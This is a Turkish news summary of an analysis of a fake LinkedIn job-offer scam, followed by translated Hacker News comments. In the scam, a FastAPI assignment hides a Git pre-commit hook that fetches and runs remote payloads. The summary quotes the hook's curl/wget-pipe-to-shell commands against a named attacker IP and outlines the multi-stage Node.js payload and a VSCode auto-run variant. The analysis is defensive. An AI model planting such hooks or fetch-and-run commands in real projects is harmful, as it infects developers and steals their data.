2 puan yazan GN⁺ 2 시간 전 | 1 yorum | WhatsApp'ta paylaş
  • LinkedIn’de aylık 10.000–15.000 $ ücretli uzaktan Python geliştirici pozisyonu teklif eden sahte bir işe alımcı, normal bir FastAPI ödevi gibi görünen bir ZIP dosyası gönderdi; dosya, Git işlemleri sırasında kötü amaçlı yazılım kurulacak şekilde hazırlanmıştı
  • Depodaki .git/hooks içinde işletim sistemine göre uzak payload’ları sessizce çalıştıran bir pre-commit hook’u gizlenmişti; ödev PDF’sindeki Git işlemleri de adayın bunu tetiklemesini sağlamaya yönelikti
  • Linux payload’u ~/Documents dizinine ikinci aşama bir betik indirip nohup ile çalıştırdıktan sonra Node.js, bağımlılıklar ve obfuscate edilmiş parser.js dosyasını kurarak arka planda çalıştırıyor
  • İsteklerdeki id=402 değeri değiştirildiğinde farklı betikler dönüyordu; package.json içinde pano erişimi için clipboardy ve Ethereum geliştirme ortamı hardhat gibi paketler vardı, ancak nihai amaç doğrulanamadı
  • Saldırgan, herkese açık bir FastAPI deposuna yalnızca kötü amaçlı dizinleri eklemişti; başka bir varyant ise yalnızca klasörü VSCode’da açmakla komut çalıştırıyordu. Harici projelerle çalışmadan önce gizli dizinler ve otomatik çalıştırma ayarları kontrol edilmeli

Fazla iyi görünen iş teklifi

  • LinkedIn üzerinden gelen Python geliştirici iş teklifi, aylık 10.000–15.000 $ ödeyen, uzaktan öncelikli, sözleşmeliden tam zamanlıya geçiş modeliyle sunulmuştu
  • Görüşme bile yapılmadan yüksek ücretin açıklanması ve bunun Hindistan şartlarına göre büyük bir tutar olması ilk uyarı işaretiydi
  • İşe alımda kullanılan şirketin bir Y Combinator girişimi olduğu doğrulandı; ancak bu ölçekte bütçe ayıran bir şirketin genellikle daha sistemli bir işe alım süreci olacağı şüphesi sürdü
  • Özgeçmiş gönderilince hemen onay geldi ve Google Drive üzerinden bir ZIP arşivi ile ödev yönergelerini içeren PDF alındı
  • PDF; mevcut kod tabanının iyileştirilmesi, mimari öneriler ve Git işlemleri istiyordu; dışarıdan bakıldığında normal bir değerlendirme dokümanına benziyordu

FastAPI projesinde gizlenen Git hook’u

  • Sıkıştırılmış dosyada SQLAlchemy kullanan sıradan bir FastAPI backend’i vardı; requirements.txt içinde de typosquatting ya da açıkça kötü amaçlı bir paket bulunmadı
  • Gizli öğeleri kontrol etmek için tree -a çalıştırılınca .git/hooks altında önceden yapılandırılmış birden çok Git hook’u olduğu görüldü
  • pre-commit betiği, uname -s ile işletim sistemini belirledikten sonra aynı sunucudan platforma özel payload’u indirip çalıştırıyordu
    • macOS’ta curl .../task/mac?id=402 | sh çalıştırıyordu
    • Linux’ta wget .../task/linux?id=402 | sh çalıştırıyordu
    • Windows türevlerinde curl .../task/windows?id=402 | cmd çalıştırıyordu
  • Tüm çıktı /dev/null’a yönlendiriliyor ve süreç arka planda çalıştırılarak çalışma izleri kullanıcıdan gizleniyordu
  • Alan adı yerine doğrudan 45.61.164.38:5777 ham IP adresinin kullanılması kötü amaçlı davranışı daha da görünür kılıyordu

Linux’ta çok aşamalı payload

  • İlk Linux betiği ~/Documents dizinine tokenlinux.npl dosyasını indiriyor, adını tokenlinux.sh olarak değiştiriyor ve çalıştırma izni veriyordu
  • Ardından betiği nohup bash ile arka planda çalıştırarak terminal kapansa veya oturum kapatılsa bile sürecin çalışmaya devam etmesini sağlıyordu
  • İkinci aşama betik şu işleri sessizce yapıyordu
    • Node.js kurulumu ve sistem yolunun yapılandırılması
    • parser.js ve package.json indirme
    • Gerekli npm bağımlılıklarını kurma
    • parser.js dosyasını nohup node ile çalıştırma ve günlükleri parser.log içine yazma
  • parser.js, elle analiz edilmesi zor olacak kadar yoğun şekilde obfuscate edilmişti; orijinal dosya parser.js adresinde korunuyor

Kurban bazlı tanımlama olasılığı

  • Endpoint’e id=402 parametresi tekrar tekrar gönderiliyordu; bu değer değiştirildiğinde tamamen farklı bir betik dönüyordu
  • Saldırganın her adaya benzersiz bir tanımlayıcı atayıp özelleştirilmiş payload sunmuş olması mümkün, ancak gerçek izleme yöntemi doğrulanmadı
  • Obfuscation’ı çözmek için kod birden fazla LLM’e verildi, ancak sonuçlar farklılaştı
    • Claude, güvenlik kısıtları devreye girerek analizi reddetti
    • Gemini, betik analiz sonuçlarını sağladı
  • tokenlinux.npl adlı özgün uzantı arandığında bunun daha geniş yürütülen bir saldırı kampanyasıyla ilişkili olduğu doğrulandı

Şüpheli Node.js bağımlılıkları

  • package.json içindeki proje adı tokendapp idi ve hardhat, axios, basic-ftp, clipboardy, jsonwebtoken, ps-node, request gibi paketleri içeriyordu
  • Arka plan kurulum işleri için pano erişimi sağlayan clipboardy ve dosya sistemiyle ilgili paketlerin neden gerektiği belirsizdi
  • hardhat bir Ethereum geliştirme ortamı olsa da Ethereum iş kanıtı modelinden geçtiği için bunun sıradan bir madencilik yapılandırması olduğu sonucuna varmak zordu
  • Kripto para cüzdanı arama veya yerel tarayıcı uzantılarıyla etkileşime geçme olasılığı da değerlendirildi, ancak nihai kötü amaç doğrulanamadı

VSCode kullanan başka bir varyant

  • Aynı saldırının başka bir varyantı, ZIP dosyası içine .vscode klasörü gizliyor ve ilgili dizin VSCode ile açıldığında komut çalıştırılacak şekilde yapılandırıyordu
  • Bu yöntem, Git komutu veya proje kodu doğrudan çalıştırılmasa bile yalnızca klasörü açarak enfekte olunmasına yol açabiliyor
  • Belirli bir şirketin saldırıya doğrudan dahil olmadığı; saldırganın bulduğu şirket adını kullanarak iş teklifini meşru göstermeye çalıştığı doğrulandı

Herkese açık depoyu yeniden kullanarak yapılan kamuflaj

  • git log içinde saldırganın oluşturduğu bir proje değil, mevcut geliştiricilerin commit geçmişi olduğu gibi duruyordu
  • Orijinal kaynak herkese açık depo personal-finance-service idi
  • Saldırgan, normal bir FastAPI projesini klonlayıp yalnızca kötü amaçlı gizli dizinler ekleyerek bunu ödev kod tabanı gibi göstermişti
  • Yalnızca normal kod ve temiz görünen requirements.txt incelenirse kötü amaçlı davranışın kaçırılabileceği bir yapıydı

Saldırı sunucusunun incelenmesi ve sınırlar

  • Saldırı sunucusu Nmap ile tarandığında üç açık port bulundu; bunlardan ikisi sürüm tespitine yanıt vermedi
  • 22 numaralı portta Ubuntu üzerinde OpenSSH 9.6p1 çalışıyordu
  • Tarama sırasında bu sürümün yayımlanmasının üzerinden ancak bir haftadan biraz fazla zaman geçmişti; kullanılabilir bilinen bir CVE bulunamadı ve sunucu içine yönelik araştırmayı genişletmek zorlaştı
  • Kötü amaçlı yazılım dağıtım yöntemi göze çarpıyordu, ancak sunucunun operasyon güvenliği görece iyi korunmuştu ve iz sürme bu noktada durdu

Git ödevinin rolü

  • Ödev PDF’sindeki Git işlemleri, adayın en az bir kez Git komutu çalıştırmasını sağlayarak önceden kurulmuş hook’u tetiklemeye yönelik bir mekanizmaydı
  • Sahte işe alımcı, saldırının fark edildiğine dair ileti aldıktan hemen sonra LinkedIn hesabını silmiş görünüyor
  • Bilinmeyen bir projeyi çalıştırmadan veya Git komutu yürütmeden önce tree -a gibi araçlarla .git, .vscode gibi gizli dizinler ve otomatik çalıştırma ayarları kontrol edilmeli

1 yorum

 
GN⁺ 2 시간 전
Hacker News görüşleri
  • Bu yazıyı okuduktan sonra çok daha sofistike bir şekilde hacklendiğimi fark ettim.
    Birkaç hafta önce gerçek bir şirketin CTO’suyla mülakat yaptım; kamerası kapalıydı ve aksanı da belirgindi ama görüşmenin içeriği doğaldı, teknik konulara da hâkim biriydi. Teknik mülakatta şirketin açık kaynak projesinde değişiklik yapmam gerektiğini söyleyip depoyu klonlamamı ve geliştirme ortamını kontrol etmemi istedi.
    Sonrasında İK yetkilisi, CTO’nun hastalığı nedeniyle mülakatın ertelendiğini söyledi; birkaç gün sonra da o yetkilinin LinkedIn profili silindi. Bu yazıyı gördükten sonra kontrol edince, mülakat sırasında klonlayıp çalıştırdığım depoda kötü amaçlı yazılım payload’u olduğunu gördüm.
    Geçmişte haftalık 43 milyondan fazla indirilen bir NPM paketini yönettiğim için hedef alınmış gibiyim. Tüm hesaplarda iki faktörlü kimlik doğrulama kullanıyor ve NPM paketini de token kullanmadan manuel yayımlıyordum; yine de dizüstü bilgisayarı sıfırlayıp her şeyi baştan kurmam gerekiyor.

    • Takvimi kontrol edince Calendly üzerinden ayarlanmış 45 dakikalık bir mülakat olduğunu gördüm; İK yetkilisinin gönderdiği bağlantı üzerinden CTO’yu taklit eden kişiyle gerçekten 45 dakika konuştum.
      Benzer HN yazılarını aradım ama dolandırıcıyla Google Meet araması yapıldığına dair bir şeye rastlamadım.
    • Rastgele bir projeyi olduğu gibi klonlama isteğini reddederim. Rails geliştiricisiyim; bütün bir uygulamanın iskeletini birkaç dakikada çıkarabilirim, bu yüzden gereksinimleri verirlerse baştan sona kendim uygulayacağımı söylerim.
      Ciddi bir şirket bunu dikkate alır; reddederse de riski bertaraf etmiş olurum. Artık kod üretiminde LLM’ler yaygın kullanıldığına göre bunun her teknoloji yığınında mümkün olması gerektiğini düşünüyorum.
    • Böyle bir ortamda konteynerle izole edilmiş VS Code gerekiyor gibi görünüyor.
    • Hedefli saldırıya uğrayabilecek biriyle aynı sosyal medyayı kullanıyor olmak tuhaf. Sıradan bana gelenler sadece “bedava spin” ya da “ölmek üzere olan Alman milyarder” gibi dolandırıcılıklar; gördüğüm en etkileyici e-posta konusu ise “vajinanı mahvettiğim için özür dilerim”di.
  • Son dönemde geliştiricileri hedef alan Kuzey Kore kaynaklı saldırılar artmış gibi. Yıllardır süren bu yöntemlerin yanı sıra, “profilini gördüm, birlikte çalışmak ister misin?” diyen Kuzey Koreli hacker e-postalarını haftada yaklaşık bir kez alıyorum.
    Programlama Discord topluluklarında da katıldıktan birkaç gün içinde iş ya da işbirliği isteyen çok sayıda hesap var. Gerçek iş arayanlar da olabilir ama mesajların hacmi ve benzerliği şüpheli; neredeyse hiç etkinliği olmayan küçük Python kütüphanesi topluluklarına kadar gelmelerine bakılırsa Discord topluluk listelerini kazıyıp rastgele yaklaşıyorlar gibi.
    İnsanların birbirine duyduğu güveni istismar eden saldırılar arttı; bu yüzden ailelerimizin dediği gibi internetteki yabancılara güvenmemek gerekiyor.

    • Artık LLM’lerle doğal görünen temel sohbetler üretilebildiği için eskisi gibi bot diye hemen elemek de zorlaştı.
  • Kurbanın işletim sistemi kontrol edildikten sonra uzaktaki payload’un gizlice çalıştırılması yöntemi tekrarlanıyor; geçen ay da benzer bir yazı ana sayfaya çıkmıştı.
    https://news.ycombinator.com/item?id=48546294

    • Orijinal yazı da bunu doğrudan belirtiyor ve aynı şeyi gösteren Google arama sonuçlarına bağlantı veriyor.
  • Ham IP adresi güçlü biçimde kötü amaçlı yazılım izlenimi veriyor; ama hook içeriğini kontrol edecek kadar derine inen bir kurban muhtemelen şüphelenmeyi orada bırakmazdı. Çoğu geliştiricinin git commitin kötü niyetli bir işlem çalıştırabileceğini düşüneceğini sanmıyorum; bunun Git açısından bir güvenlik açığı olup olmadığını merak ediyorum.

    • Bir depoyu sadece klonlamak Git hook’larını otomatik olarak etkinleştirmez. Ama bu olayda klon değil, indirilen bir proje söz konusu olduğu için durum farklı.
    • Hangi aracı kullanırsanız kullanın, incelenmemiş indirilen kodu çalıştırmak bugün başlı başına riskli.
  • Geriye yalnızca, çeşitli güvenlik önlemleri yüzünden Claude’un yardımcı olarak tamamen işe yaramaz olduğu noktası kalmış.

  • Ham IP kullanmalarının amacı, alan adı kayıt kuruluşunda kimlik bilgisi bırakmamak ya da çevrimiçi izlerini en aza indirmek olabilir.

    • Bu yüzden ham IP adresleri şüpheli faaliyetlerle sıkça ilişkilendiriliyor gibi.
    • Söz konusu host’lar da kötü amaçlı yazılıma bulaşmış ve şu anda proxy olarak kötüye kullanılan sistemler olabilir.
  • Ekran görüntülerinin çoğu doğrudan açılmadı; yeni sekmede bakmak zorunda kaldım.
    Bu dolandırıcılık epey kurnazca, muhtemelen çok sayıda iş arayan çoktan tuzağa düşmüştür; yazıda geçen Visual Studio Code projesi daha da tehlikeli görünüyor. Sırf projeyi açmak kullanıcı kodunu çalıştırıyorsa bu açık bir kötü amaçlı yazılım yolu demektir ve güvenlik önlemleri gerekir.
    İşe alım sitelerinin tepkisi de yetersiz. Bir şirket ya da kuruma bağlı olduğunu iddia edenlerden çalıştığını kanıtlaması istense ve doğrulanmamış hesapların mesajlarında büyük bir uyarı gösterilse bile pek çok dolandırıcılık zorlaşır. Şu anda herkes istediği şirket deneyimini ya da eğitim geçmişini iddia edebiliyor.

    • Microsoft, belge açılırken otomatik çalışan Word ve Excel makro kötü amaçlı yazılımlarının geçmişini unutmuş gibi.
    • Görsellerin hepsi GitHub Pages’te barındırılıyor; ayrı bir CDN kullanmak gerekebilir.
  • Hacker News ana sayfasında gerçek hackleme ile ilgili bir yazı görmek güzel.

    • Hacker News’teki hacker kelimesi başka bir anlama geliyor.
      http://www.catb.org/jargon/html/H/hacker.html
      Programlanabilir sistemlerin ayrıntılı yapısını ve sınırlarını keşfeden, özellikle bilgisayarların ve ağların iç işleyişini derinlemesine anlamaktan keyif alan kişiyi ifade eder. Ayrıca yalnızca teoride kalmayıp tutkuyla, bazen de inatla programlama yapan kişi anlamına gelir.
  • LinkedIn dolandırıcılığı önleme konusunda ciddiyse, mevcut iş yeri belirtilirken şirket e-postası doğrulaması sunabilir. Zorunlu kılmak ağır geliyorsa, en azından meşruiyetini göstermek isteyen işe alımcıların isteğe bağlı olarak doğrulama yapmasını sağlayabilir.

    • LinkedIn bu özelliği 2023’te zaten ekledi (https://news.linkedin.com/2023/april/linkedin-s-new-verifica...). Ancak e-posta doğrulamasını gerçekten yapan kişi az olduğundan, doğrulama yok diye profil mutlaka sahte sayılmaz.
    • Arkadaşlarımla ben yıllar boyunca sahte profillerle işe alımcıları ve şirketleri cezbedip hangi pozisyonların açık olduğunu ve nasıl adaylar aradıklarını anlamaya çalıştık. JavaScript framework’lerinin hızla arttığı dönemde gerçek şirketleri/işe alımcıları dolandırıcılardan ayırmak için özellikle faydalıydı.
      Şimdi de yapay zeka işe alım piyasasını ve LLM/otomasyon talebini hedefleyen benzer şeyler yaşanacak gibi.
  • Bu tür saldırılar giderek daha yaygın hale gelecek gibi. Saldırganlar kapsamlı araştırma yapmış ve yöntemleri acımasız, ama teknik olgunlukları takdire değer; gerçek başarı oranlarının da epey yüksek olduğunu düşünüyorum.

    • İçini inceleme süreci CTF problemi gibi eğlenceliydi. Saldırganın sunucusunda bir güvenlik açığı da olsaydı daha ilginç olurdu.
    • Yetenekleri sadece LLM’den ödünç alınmış da olabilir.